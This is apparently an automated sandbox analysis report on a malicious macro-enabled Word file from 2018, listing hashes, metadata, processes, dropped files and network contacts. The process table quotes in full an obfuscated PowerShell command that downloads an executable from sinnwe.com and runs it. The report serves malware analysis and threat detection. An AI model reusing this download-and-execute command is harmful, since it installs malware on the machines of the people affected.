File name: | be268265ffbf632d7916ed7d072a83867f8a82e4aa6e0e8ec07852f8300343d1 |
Full analysis: | https://app.any.run/tasks/bd6575b2-4efd-4a18-a651-a04646062a72 |
Verdict: | Malicious activity |
Analysis date: | November 15, 2018, 16:27:57 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.openxmlformats-officedocument.wordprocessingml.document |
File info: | Microsoft Word 2007+ |
MD5: | 510999B6906611DE984EAC150204D7E1 |
SHA1: | 97B9BCCD6A6312ACB801D69C5E62CBB50F1EEF77 |
SHA256: | BE268265FFBF632D7916ED7D072A83867F8A82E4AA6E0E8EC07852F8300343D1 |
SSDEEP: | 1536:j5usUC225V33iv2yEognlJU3S/oLe36EGj6t7z+gEE6LS9dIOuHLT:jwt25VnaFzwdoq3Txg+9ErT |
.docm | | | Word Microsoft Office Open XML Format document (with Macro) (53.6) |
---|---|---|
.docx | | | Word Microsoft Office Open XML Format document (24.2) |
.zip | | | Open Packaging Conventions container (18) |
.zip | | | ZIP compressed archive (4.1) |
ZipRequiredVersion: | 20 |
---|---|
ZipBitFlag: | 0x0006 |
ZipCompression: | Deflated |
ZipModifyDate: | 1980:01:01 00:00:00 |
ZipCRC: | 0x3f450766 |
ZipCompressedSize: | 399 |
ZipUncompressedSize: | 1503 |
ZipFileName: | [Content_Types].xml |
Template: | Normal.dotm |
---|---|
TotalEditTime: | - |
Pages: | 1 |
Words: | - |
Characters: | - |
Application: | Microsoft Office Word |
DocSecurity: | None |
Lines: | 1 |
Paragraphs: | - |
ScaleCrop: | No |
HeadingPairs: |
|
TitlesOfParts: | - |
Company: | home |
LinksUpToDate: | No |
CharactersWithSpaces: | - |
SharedDoc: | No |
HyperlinksChanged: | No |
AppVersion: | 16 |
Keywords: | - |
LastModifiedBy: | admin |
RevisionNumber: | 2 |
CreateDate: | 2018:10:11 16:06:00Z |
ModifyDate: | 2018:10:11 16:06:00Z |
Title: | - |
---|---|
Subject: | - |
Creator: | - |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3432 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\be268265ffbf632d7916ed7d072a83867f8a82e4aa6e0e8ec07852f8300343d1.docm" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2856 | powershell $nLwKYmpb = 'u17xlHuiA';$xmlhttp = New-Object -ComObject 'msxml2.xmlhttp';$Dutchgy = 'ES0U8aIsv';$adodb = New-Object -ComObject 'adodb.stream';$GagD287m = 'F2kGLQx';$xmlhttp.open('get', 'http://sinnwe.com/include/kindeditor/examples/jquery-ui/css/smoothness/2.exe?rnd=3328', 0);$WQTFHC = 'WzubgN';$xmlhttp.send();$LDrpt6HF4 = 'bzrwSTM';$adodb.open();$jLF95 = 'l8ZfmSR4n';$adodb.type = 1;$UKZ5l0UJ8 = 'qRBTkoD0Y';$adodb.write($xmlhttp.responseBody);$qZRN2 = 'BWXbcr';$adodb.savetofile('..\12614.exe');$x5FsgO = 'kW3NIBa0';$iGHfv = 'yQy1fphol';$op8crUGZn = 'jRZIzy4F';Start-Process '..\12614.exe'; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WINWORD.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
3432 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR82FD.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2856 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XRBML98FIHRF4QDRF60F.temp | — | |
MD5:— | SHA256:— | |||
2856 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF108be6.TMP | binary | |
MD5:43B01A05BB940A9D5D0BE924AB203E0A | SHA256:B9E77DF43925FFAABEEDF95F08B40DD80A8E633D77929AB4F6AD45146332304B | |||
3432 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:4E3075B8363C0A9C42D69F47D8E61A2B | SHA256:BF0459D2E4CBB1A5E8D4EB46061A91039E59CC00E2BB21F9C15E17BD7BAF937D | |||
3432 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:60B137A8AECD7D1DAD5984A775848EF0 | SHA256:C80CA49727FBB59815448C2279AD9D986ADF21D412E199CA3E9231D116939213 | |||
3432 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$268265ffbf632d7916ed7d072a83867f8a82e4aa6e0e8ec07852f8300343d1.docm | pgc | |
MD5:0852BEA49D8E091B14F672A69E81BE89 | SHA256:3029B16B5942CABEE3A64B4B9DC667BB2A3D44FFCF98FEF49622E4DD9478CB16 | |||
2856 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:43B01A05BB940A9D5D0BE924AB203E0A | SHA256:B9E77DF43925FFAABEEDF95F08B40DD80A8E633D77929AB4F6AD45146332304B |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2856 | powershell.exe | 122.10.96.42:80 | sinnwe.com | Hutchison Global Communications | HK | unknown |
Domain | IP | Reputation |
---|---|---|
sinnwe.com |
| unknown |
dns.msftncsi.com |
| shared |